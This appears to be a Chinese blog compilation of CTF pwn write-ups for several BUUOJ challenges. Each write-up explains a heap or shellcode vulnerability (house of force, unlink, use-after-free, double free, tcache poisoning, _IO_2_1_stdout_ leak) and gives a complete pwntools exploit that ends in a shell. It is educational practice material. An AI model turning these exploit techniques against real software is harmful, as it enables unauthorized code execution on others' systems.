gyctf_2020_force

0x00 基本信息

保护全开,GOT也写不了,看这个名字就感觉是house of force….

0x01 IDA分析

正好印证了之前的猜测,满足house of force的条件:

可覆盖Top chunk为-1

能够分配任意大小的堆块以及分配的次数

先试一下覆盖Top chunk

1
2
payload = p64(0)*3+p64(0xffffffffffffffff)
heap_base = add(10,payload)

没啥毛病!不记得回去看看house of force

接下来就是想着任意地址堆块分配到哪里去了,前面看到保护全开,其实我第一想法是覆盖GOT表的,但是RELOC保护全开了,没办法了!只能覆盖malloc_hook,写one_gadget了

0x02 解题思路

1.泄露libc,heap基址

2.修改Top chunk的size为-1

3.劫持__malloc_hook修改one_gadget,这里需要realloc改变栈环境

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#! /usr/bin/env python 
from pwn import *

p = process('./gyctf_2020_force')
# p = remote('node4.buuoj.cn', 26108)
elf = ELF('./gyctf_2020_force')
libc = ELF('libc-2.23.so')

def new(size, content):
p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(size))
p.recvuntil('addr ')
heap = int(p.recv(14), 16)
p.sendlineafter('content\n', content)
return heap

libc_base = new(0x200000, 'aaa') + 0x200ff0
print 'libc_base : ' + hex(libc_base)
heap_base = new(0x18, 'a' * 0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
print 'heap_base : ' + hex(heap_base)
top = heap_base + 0x10
malloc_hook = libc.sym['__malloc_hook'] + libc_base
offset = malloc_hook - top
print 'offset : ' + hex(offset)
realloc = libc.sym['__libc_realloc'] + libc_base

onegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one = onegadget[1] + libc_base
new(offset - 0x33, 'a' * 0x8)

new(0x10, 'a' * 0x8 + p64(one) + p64(realloc + 0x10))

p.sendlineafter('2:puts\n', '1')
#gdb.attach(p)
p.sendlineafter('size\n', str(0x40))

p.interactive()

0x04 总结

1.libc基址的获取

我们通过IDA看到,当成功分配一个堆块的时候,会将此堆块的地址打印出来,那么当堆块size过大的时候,它会通过mmap来分配堆块,此堆块的分配会紧挨着libc,就能利用输出的堆地址计算libc地址

2.realloc平衡原理

我们在劫持完__malloc_hook修改成one_gadget的时候,发现四个one_gadget都不能getshell,那么可以考虑通过realloc来平衡栈,实现one_gadget,下图我们可以看到除了第一个one_gadget的条件是rax的值为NULL,其他的都是栈上的某一个位置的值为NULL,所以用realloc来平衡栈就可以getshell了!!

我们知道啊,当进行malloc的时候呢,是先判断__malloc_hook的值是否为空,如果不为空就跳到这个值的地址上去,那么我们填上realloc的地址,就可以跳到realloc上去

realloc之所以能够调整栈帧,是因为进入realloc函数之后会push一系列的参数进去,接着和__malloc_hook一样,判断realloc_hook是否为空,不为空就跳转进去执行,需要注意的是要控制好psuh参数的个数,也就是加上一定的偏移

所以执行流程是

1
malloc —> __malloc_hook —> realloc —> __realloc_hook —> one_gadget -->getshell

实际的操作中还是去试偏移会快一点….

2016 ZCTF note2

0x00 基本信息

可以写GOT表…

0x01 IDA分析

经典菜单题,一个函数一个函数看吧!

add函数

分配note的数量限制在4个以内,大小限制为0x80以内,但是需要注意的是它没有限制堆块的大小不为0,接下来就是读入content

刚刚说到它没有限制堆块大小为0,那么当size也就是a2为0的时候,a2 - 1 = -1,与无符号变量i进行对比的时候,-1将转化成最大的无符号数,那么就可以实现溢出了

除此之外,程序还维护了一张堆块的信息表,一看到这第一反应肯定是劫持这个堆块表

show函数

没啥毛病,在ptr中有记录此堆块的内容指针,就打印出来

edit函数
delete函数

free掉之后清零了,不存在uaf,我们的目的是劫持刚刚的堆块表,这里没有uaf,堆块大小也限制了,考虑用unlink

0x02 解题思路

1.布置堆风水,为unlink做铺垫

2.unlink使得ptr[0] = ptr[0] - 0x18

3.修改堆指针为atoi@got,show它泄露libc地址

4.修改atoi@got为system@got

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('note2')
libc = ELF('libc-2.23.so')
local = 1
binary = 'note2'
port = '25066'

if local == 1:
io = process(binary)
else:
io = remote("node4.buuoj.cn",port)

def add(size,content):
io.recvuntil('option--->>')
io.sendline('1')
io.recvuntil('Input the length of the note content:(less than 128)')
io.sendline(str(size))
io.recvuntil('Input the note content:')
io.sendline(content)

def edit(idx,chioce,content):
io.recvuntil('option--->>')
io.sendline('3')
io.recvuntil('Input the id of the note:')
io.sendline(str(idx))
io.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
io.sendline(str(chioce))
sleep(0.1)
io.sendline(content)

def show(idx):
io.recvuntil('option--->>')
io.sendline('2')
io.recvuntil('Input the id of the note:')
io.sendline(str(idx))

def free(idx):
io.recvuntil('option--->>')
io.sendline('4')
io.recvuntil('Input the id of the note:')
io.sendline(str(idx))

io.recvuntil("Input your name:")
io.sendline("zyen")
io.recvuntil("Input your address:")
io.sendline("aaaa")

ptr = 0x602120
fake_fd = ptr - 0x18
fake_bk = ptr - 0x10
fake_content0 = '\x00'*8+p64(0xa1)+p64(fake_fd)+p64(fake_bk)
add(0x80,fake_content0)
add(0x0,'a')
add(0x80,'a')
free(1)
payload = 'a'*0x10+p64(0xa0)+p64(0x90)
add(0x0,payload)
free(2)
atoi_got = elf.got['atoi']
payload = 'a'*0x18+p64(atoi_got)
edit(0,1,payload)
show(0)
io.recvuntil("is ")

atoi_addr = u64(io.recv(6).ljust(8, "\x00"))
print 'atoi_addr : ' + hex(atoi_addr)

libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
print 'system_addr : ' + hex(system_addr)

edit(0,1,p64(system_addr))

io.recvuntil('option--->>')
io.sendline('/bin/sh')

# gdb.attach(io)
io.interactive()

0x04 总结

1.unlink注意事项

刚开始对这个payload匪夷所思

1
2
payload = 'a'*0x10+p64(0xa0)+p64(0x90)
add(0x0,payload)

向后合并的源码如下

  • 我们发现它首先会判断prev_inuse是否为0,而在此题目中的堆块是fastbin范畴的堆块,所以当它被free的时候并不会把prev_inuse置为0,需要我们手动置零

  • prev_size拿出来加上它本来的大小变成它unlink结束之后堆块的大小

  • 根据当前的chunk的prev_size来获取到前一个堆块的指针(这里的向后合并其实是向低地址合并

  • 开始unlink~

1
2
3
4
5
6
7
8
9
 /* consolidate backward */
if (!prev_inuse(p)) {

prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);

}

既然复习到向后合并,那就…

向前合并的源码

和向后合并相比,向前合并的源码就简单一些

  • 先会判断是不是和top chunk相邻,相邻就合并了
  • 如果nextinuse是1就修改它的prev_inuse为0
  • unlink完事之后把size改为合并后的size
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (nextchunk != av->top){
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
...
...
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

actf_2019_babyheap

0x00 基本信息

0x01 IDA分析

先看看free函数

free函数

经典uaf

create函数

经典之不能再经典

print函数

留了一个后门函数,直接执行内容,在初始化的时候我们看到了system函数

0x02 解题思路

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python

from pwn import *

# io = process('ACTF_2019_babyheap')
io = remote('node4.buuoj.cn',26654)
elf = ELF('ACTF_2019_babyheap')
context.log_level = 'debug'


def create(size,payload):
io.sendlineafter("Your choice: ",'1')
io.sendlineafter("Please input size: \n",str(size))
io.sendafter("Please input content: \n",payload)

def free(index):
io.sendlineafter("Your choice: ",'2')
io.sendlineafter("Please input list index: \n",str(index))

def print_this(index):
io.sendlineafter("Your choice: ",'3')
io.sendlineafter("Please input list index: \n",str(index))

create(0x100,'a')
create(0x100,'a')
free(0)
free(1)

create(0x10,p64(0x602010) + p64(elf.symbols["system"]))#0x602010是/bin/sh
print_this(0)

#gdb.attach(io)


io.interactive()

gyctf_2020_signin

0x00 基本信息

题目描述是在ubuntu18里面的,所以有tache机制

0x01 IDA分析

del函数

虽然把flags清零了,但是ptrlist没有清零

add函数

只能分配0xF个chunk,有个ptrlist存在bss段上

edit函数

cnt是一个全局变量,值为1,所以edit函数只能eait一次,一开始想劫持tache不过只能只能edit一次

后门函数

calloc一下就判断ptr的值是否为0,不为0就起一个shell,ptr是bss段上的一个变量

0x02解题思路

  1. 分配8个chunk并free掉,会有一个chunk进入fastbin
  2. add回来一个chunk
  3. 修改fastbin中的堆块的fd
  4. 执行后门函数

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('gyctf_2020_signin')
local = 1
binary = 'gyctf_2020_signin'
port = '26743'

if local == 1:
io = process(binary)
else:
io = remote("node3.buuoj.cn",port)

def add(idx):
io.recvuntil('your choice?')
io.sendline('1')
io.recvuntil('idx?')
io.sendline(str(idx))

def edit(idx,content):
io.recvuntil('your choice?')
io.sendline('2')
io.recvuntil('idx?')
io.sendline(str(idx))
# io.recvuntil('Content: ')
io.sendline(content)

def free(idx):
io.recvuntil('your choice?')
io.sendline('3')
io.recvuntil('idx?')
io.sendline(str(idx))


for i in range(8):
add(i)

for i in range(8):
free(i)

add(8)
payload = p64(0x4040C0 - 0x10)
edit(7,payload)

sleep(0.1)
io.sendline('6')
#gdb.attach(io)

io.interactive()

0x04总结

1.calloc分配堆块机制

calloc分配堆块是不会从tache里面获取堆块的,在calloc的时候会从fastbin里面拿堆块,并且当它去取堆块的时候会把fastbin剩余的堆块放到tache里面

实验一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>

int main(void){

void *c1,*c2,*c3,*c4,*c5,*c6,*c7,*c8;
void *c9,*c10;
c1 = malloc(0x20);
c2 = malloc(0x20);
c3 = malloc(0x20);
c4 = malloc(0x20);
c5 = malloc(0x20);
c6 = malloc(0x20);
c7 = malloc(0x20);

c8 = malloc(0x20);
c9 = malloc(0x20);
c10 = malloc(0x20);

free(c1);
free(c2);
free(c3);
free(c4);
free(c5);
free(c6);
free(c7);
//fastbin
free(c8);
free(c9);
free(c10);

malloc(0x20);
malloc(0x20);

calloc(1,0x20);
return 0;
}

在tache bin attack中也实验过了,malloc只有当tache中的bin分配完了之后才会把fastbin里面的堆块拿到tache里面,calloc不一样啊!!!

明白了这一点就很简单了直接tcache poisoning改到ptr-0x10的位置,之后触发后门函数就可以getshell了!

ciscn_2019_en_3

0x00 基本信息

保护全开不说,还多了一个FORTIFY,这是个啥?

就是说定义此宏会导致执行一些轻量级检查,以在使用各种字符串和内存操作函数(例如memcpymemsetstpcpystrcpystrncpystrcatstrncatsprintfsnprintfvsprintfvsnprintfgets、 及其宽字符变体)时检测一些缓冲区溢出错误

比如printf就变成了printf_chk,它将可以检查格式化字符串漏洞的特殊字符,就像下面这样

0x01 IDA分析

在初始化的时候有两个地方可以泄露libc,一开始就瞄了一下没太在意,后面发现libc泄露不了没法写,看到wp才知道,写堆题还是要看看其他的输入点,每个输入点都有可能是一个漏洞点!

puts函数的输出是直到碰到”\x00”才会结束,s是一个大小为16的数组,它只让我们输入前八,所以我们把前八给写满如果后面没有”\x00”就会把后八的字符给带出来,后面碰巧是libc里面的地址

虽然%3$p会报错,但是%p不会报错调试一下,全是栈上的地址,随便找一个就行

下面就是正常的堆,show和edit函数废了

漏洞点就是在del里面,有个uaf

0x02解题思路

  1. 通过前面的溢出,泄露出libc
  2. double free控制堆块修改fd指针指向free_hook
  3. 修改free_hook为system

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
elf = ELF('ciscn_2019_en_3')
libc = ELF('libc-2.27.so')
local = 1
binary = 'ciscn_2019_en_3'
port = '25784'

if local == 1:
io = process(binary,env={'LD_PRELOAD':'libc-2.27.so'})
else:
io = remote("node4.buuoj.cn",port)



def add(size,content):
io.recvuntil('Input your choice:')
io.sendline('1')
io.recvuntil('Please input the size of story: ')
io.sendline(str(size))
io.recvuntil('please inpute the story: ')
io.sendline(content)

def free(idx):
io.recvuntil('Input your choice:')
io.sendline('4')
io.recvuntil('Please input the index:')
io.sendline(str(idx))


io.sendlineafter('name?\n','zyen')
io.sendlineafter('ID.\n','zyen1111')
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['setbuffer']-231
io.success("[*]libc_base => " + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
io.success("[*]system_addr => " + hex(system_addr))
io.success("[*]free_hook => " + hex(free_hook))

add(0x20,'aa')
add(0x20,'/bin/sh')
free(0)
# gdb.attach(io)
free(0)
add(0x20,p64(free_hook))
add(0x20,'a')
add(0x20,p64(system_addr))
free(1)

# gdb.attach(io)

io.interactive()

0x04总结

1.puts小实验
1
2
3
4
5
6
7
8
9
#include <stdio.h>

int main(int argc, char const *argv[])
{
char s[16];
read(0,s,16);
puts(s);
return 0;
}

上面是read了8个字符,这次我们read了16个字符,但是我们的输入只输入了8个1,同样的,我们看到了它有泄露下面的地址,puts函数还是挺危险的!

最后啰嗦一下,此double free已经不适应用于libc-2.27了,libc-2.26不知道,double free的补丁已经打到libc-2.27上了,搞得我本地调试不了…(懒的换libc

libc补丁

加了个key,记得可以改这个key绕过这个检查的,但是这题没有edit函数….

starctf_2019_babyshell

0x00 基本信息

0x01 IDA分析

程序的流程很简单就是输入shllcode,然后执行,但是sub_400786里面还有名堂

它会对比一段字符串,如果匹配就能执行我们的shellcode,”\x00”就能绕过,问题不大

但当我把shellcode打进去的时候,很惊奇的发现居然没getshell,动调发现它居然把shellcode的push 42给占了

可能某个地方覆盖了吧也不太清楚,在shellcode前面加上几个”\x6a”就可以了

0x02 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python

from pwn import *

context(arch='amd64',os='linux')
context.log_level = 'debug'
elf = ELF('starctf_2019_babyshell')
# libc = ELF('libc-2.27.so')
local = 0
binary = 'starctf_2019_babyshell'
port = '26094'


if local == 1:
io = process(binary)
else:
io = remote("node4.buuoj.cn",port)

# gdb.attach(io)
# check = '\x5A\x5A\x4A\x20\x6C\x6F\x76\x65\x73\x20\x73\x68\x65\x6C\x6C\x5F\x63\x6F\x64\x65\x2C\x61\x6E\x64\x20\x68\x65\x72\x65\x20\x69\x73\x20\x61\x20\x67\x69\x66\x74\x3A\x05\x20\x65\x6E\x6A\x6F\x79\x20\x69\x74\x21\x0A\x00'

shellcode='\x6a\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
# shellcode = asm(shellcraft.sh())
io.recvuntil('give me shellcode, plz:\n')

io.sendline('\x00\x6a'+shellcode)

# io.recv(10)
io.interactive()

0x03 总结

哇!哭了,学到了,直接编写shellcode调用sys_read

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process('./starctf_2019_babyshell')

#gdb.attach(p,'b *0x4008CB')
gdb.attach(p)
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
p.sendlineafter(' plz:\n',shellcode)

sleep(1)
p.sendline('a'*0xC + asm(shellcraft.sh()))

p.interactive()

bjdctf_2020_YDSneedGrirlfriend

0x00 基本信息

0x01 IDA分析

上面还有一个限制堆块数量的判断,不重要,可以看到这里申请了一个0x10的堆块写入了print_girlfriend_name的函数地址,但是这个print_girfriend_name…就是一个后门

现在还没感觉像后门,但是看到print函数的时候,仔细看看(*girlfriendlst[v1])(girlfrendlist[v1]),如果我们劫持了包含print_girlfriend_name的0x10堆块,修改成其他的函数地址,比如system@got,那么就会变成system(girlfrendlist[v1] + 8)

再看看del函数,思路就很清晰了

有个后门函数…

0x02 解题思路

  1. double free一个堆块
  2. 申请一个0x20的堆块,double free的0x10的堆块就写入了print_girlfriend_name
  3. 申请的时候改成后门函数

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'
elf = ELF('bjdctf_2020_YDSneedGrirlfriend')
# libc = ELF('libc-2.23.so')
local = 0
binary = 'bjdctf_2020_YDSneedGrirlfriend'
port = '29413'

if local == 1:
io = process(binary)
else:
io = remote("node4.buuoj.cn",port)

def add(size,context):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Her name size is :')
io.sendline(str(size))
io.recvuntil('Her name is :')
io.sendline(str(context))

def show(idx):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(idx))

def free(idx):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(idx))

add(0x20,'a')
add(0x20,'a')
add(0x20,'a')

free(1)
free(0)
free(1)
add(0x20,'zyen')

add(0x10,p64(0x400B9C))
# add(0x20,'a')

# gdb.attach(io)
show(1)

io.interactive()

0x04 总结

看了大佬的wp,其实不用改,只要print_girlfriend_name上面写着是后门函数就行,不知道为啥system(“/bin/sh”)一直不行,一进入就down了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'
elf = ELF('bjdctf_2020_YDSneedGrirlfriend')
# libc = ELF('libc-2.23.so')
local = 1
binary = 'bjdctf_2020_YDSneedGrirlfriend'
port = '29413'

if local == 1:
io = process(binary)
else:
io = remote("node4.buuoj.cn",port)

def add(size,context):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Her name size is :')
io.sendline(str(size))
io.recvuntil('Her name is :')
io.sendline(str(context))

def show(idx):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(idx))

def free(idx):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(idx))


add(0x10,'a')
add(0x20,'a')
add(0x20,'a')

free(0)
free(1)

add(0x10,p64(0x400B9C))

io.sendafter('Your choice :',str(3))

io.interactive()

roarctf_2019_realloc_magic

0x00 基本信息

保护全开,肯定是泄露libchook

0x01 IDA分析

realloc函数,需要注意的是realloc_ptr = realloc(realloc_ptr, size),根据realloc的特性,如果不realloc(0),它将一直对同一个堆块realloc,具体请看《从广东省强网杯–girlfriendrealloc的艺术》

1
2
3
4
5
6
7
8
9
10
11
int re()
{
unsigned int size; // [rsp+Ch] [rbp-4h]

puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}

free存在uaf

1
2
3
4
5
int fr()
{
free(realloc_ptr);
return puts("Done");
}

ba这个函数呢,就是把realloc_ptr清零,并且只能用一次

1
2
3
4
5
6
7
8
int ba()
{
if ( lock )
exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}

0x02 解题思路

首先此程序不存在show函数,所以肯定是要打IO_2_1_stdout来泄露libc的,既然要打IO_2_1_stdout,那又得整出个unsorted bin指向main_arena + 88,并且要产生堆叠来修改main_arena + 88后两个字节,同时需要爆破1位,概率为1/16,泄露libc的具体细节在_IO_FILE攻击里面,那么又因为这是libc-2.27的题目,所以要获得unsorted bin肯定得先填满tache,所以完整思路如下:

  1. free同一个块7次填满tache,再free一次进入unsorted bin
1
2
3
add(0x100,'b')
[free() for i in range(7)]
add(0,'')

由于本地的libc打了补丁不能double free,所以加载远程的libc,远程的libc又没有调试符号….只能vmmap查看堆的起始位置,看到0x000055ff8d55b2e0这个堆块的fdbk变成了main_arena+88的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> x/100gx 0x55ff8d55b000
0x55ff8d55b000: 0x0000000000000000 0x0000000000000251
0x55ff8d55b010: 0x0001000000000000 0x0700000000000100
0x55ff8d55b020: 0x0000000000000000 0x0000000000000000
0x55ff8d55b030: 0x0000000000000000 0x0000000000000000
0x55ff8d55b040: 0x0000000000000000 0x0000000000000000
0x55ff8d55b050: 0x0000000000000000 0x0000000000000000
0x55ff8d55b060: 0x0000000000000000 0x0000000000000000
0x55ff8d55b070: 0x0000000000000000 0x0000000000000000
0x55ff8d55b080: 0x000055ff8d55b260 0x0000000000000000
0x55ff8d55b090: 0x0000000000000000 0x000055ff8d55b3f0
0x55ff8d55b0a0: 0x0000000000000000 0x0000000000000000
0x55ff8d55b0b0: 0x0000000000000000 0x0000000000000000
0x55ff8d55b0c0: 0x0000000000000000 0x000055ff8d55b2e0
0x55ff8d55b0d0: 0x0000000000000000 0x0000000000000000
...
0x55ff8d55b240: 0x0000000000000000 0x0000000000000000
0x55ff8d55b250: 0x0000000000000000 0x0000000000000081
0x55ff8d55b260: 0x0000000000000000 0x0000000000000000
0x55ff8d55b270: 0x0000000000000000 0x0000000000000000
0x55ff8d55b280: 0x0000000000000000 0x0000000000000000
0x55ff8d55b290: 0x0000000000000000 0x0000000000000000
0x55ff8d55b2a0: 0x0000000000000000 0x0000000000000000
0x55ff8d55b2b0: 0x0000000000000000 0x0000000000000000
0x55ff8d55b2c0: 0x0000000000000000 0x0000000000000000
0x55ff8d55b2d0: 0x0000000000000000 0x0000000000000111
0x55ff8d55b2e0: 0x00007f5ca1575ca0 0x00007f5ca1575ca0
0x55ff8d55b2f0: 0x0000000000000000 0x0000000000000000
...

接着申请0x70的大小,由于它比之前的realloc_ptr的堆块要大(之前为0),所以它会从tache找,发现之前有个0x70的堆块,就直接分配出去了,紧接着又分配了0x180的堆块,由于它还是比之前的realloc_ptr的堆块要大(之前为0x70),所以它将扩大之前的0x70,也就是把0x100这个堆块给包含进来了,这个0x100的堆块再之前可是包着main_arena+88的指针的,也就是说,我们可以写main_arena+88的指针了!(修改chunk大小的原理还不是很清楚….,后面爆破再也没爆破出来,所以没调试出来,哭了

1
2
add(0x70,'a')
add(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))
1
2
3
4
5
6
7
8
9
10
11
0x55e2f303a250:	0x0000000000000000	0x0000000000000191
0x55e2f303a260: 0x6363636363636363 0x6363636363636363
0x55e2f303a270: 0x6363636363636363 0x6363636363636363
0x55e2f303a280: 0x6363636363636363 0x6363636363636363
0x55e2f303a290: 0x6363636363636363 0x6363636363636363
0x55e2f303a2a0: 0x6363636363636363 0x6363636363636363
0x55e2f303a2b0: 0x6363636363636363 0x6363636363636363
0x55e2f303a2c0: 0x6363636363636363 0x6363636363636363
0x55e2f303a2d0: 0x6363636363636363 0x0000000000000041
0x55e2f303a2e0: 0x00007fcdef0a8760 0x00007fcdefce2ca0
0x55e2f303a2f0: 0x0000000000000000 0x0000000000000000

此时申请0x0的大小会把之前0x180的大小给free掉,在bin中就会出现0x55e2f303a2e0 -> 0x00007fcdef0a8760的链表然后,再申请两次0x100,就能修改IO_2_1_stdout

1
2
3
4
add(0,'')
add(0x100,'a')
add(0,'')
add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))

顺利泄露出libc

1
libc_base = u64(io.recvuntil("\x7f",timeout=0.1[-6:].ljust(8,'\x00'))-0x3e82a0

清空realloc_ptr就可以再来一次,这次就是把main_arena+88改成free_hook,然后往free_hook里面写system,至于为什么不用one_gadget,因为没有malloc_hook来调整栈帧,所以用systemgetshell

1
io.sendline('666')

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *

#r = remote("node3.buuoj.cn", 25009)
#r = process("./roarctf_2019_realloc_magic")

elf = ELF("./roarctf_2019_realloc_magic")
libc = ELF('./libc-2.27.so')

def add(size,content):
io.recvuntil('>> ')
io.sendline('1')
io.recvuntil('Size?')
io.sendline(str(size))
io.recvuntil('Content?')
io.sendline(content)
def free():
io.recvuntil('>> ')
io.sendline('2')

def back():
io.recvuntil('>> ')
io.sendline('666')


def pwn():
add(0x70,'a')
add(0,'')
add(0x100,'b')
add(0,'')
add(0xa0,'c')
add(0,'')

add(0x100,'b')
[free() for i in range(7)] #fill tcache
add(0,'') #to unsortbin fd->arena
add(0x70,'a')
add(0x180,'c'*0x78+p64(0x61)+p8(0x60)+p8(0x87))#overlap

add(0,'')
add(0x100,'a')
add(0,'')
add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_ change flag and write_base

#get_libc
libc_base = u64(io.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-0x3e82a0
if libc_base == -0x3e82a0:
exit(-1)
print("[* ]libc_base => " + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

# one_gadget=libc_base + 0x4f322

io.sendline('666')
add(0x120,'a')
add(0,'')
add(0x130,'b')
add(0,'')
add(0x170,'c')
add(0,'')

add(0x130,'a')
[free() for i in range(7)] #fill tcache
add(0,'') #to unsortbin fd->arena

add(0x120,'a')
add(0x260,'c'*0x128+p64(0x41)+p64(free_hook-8))#overlap

add(0,'')
add(0x130,'a')
add(0,'')
add(0x130,'/bin/sh\x00'+p64(system))
free()
io.interactive()


if __name__ == "__main__":
while True:
io = remote("node4.buuoj.cn", 25510)
try:
pwn()
except:
io.close()

0x04 总结

realloc函数的一些特点,才导致这道题目变得十分的特殊,当不对它free就直接再次调用realloc函数就会导致前一个堆块永远无法进入bin里面,这是需要十分注意的点!!!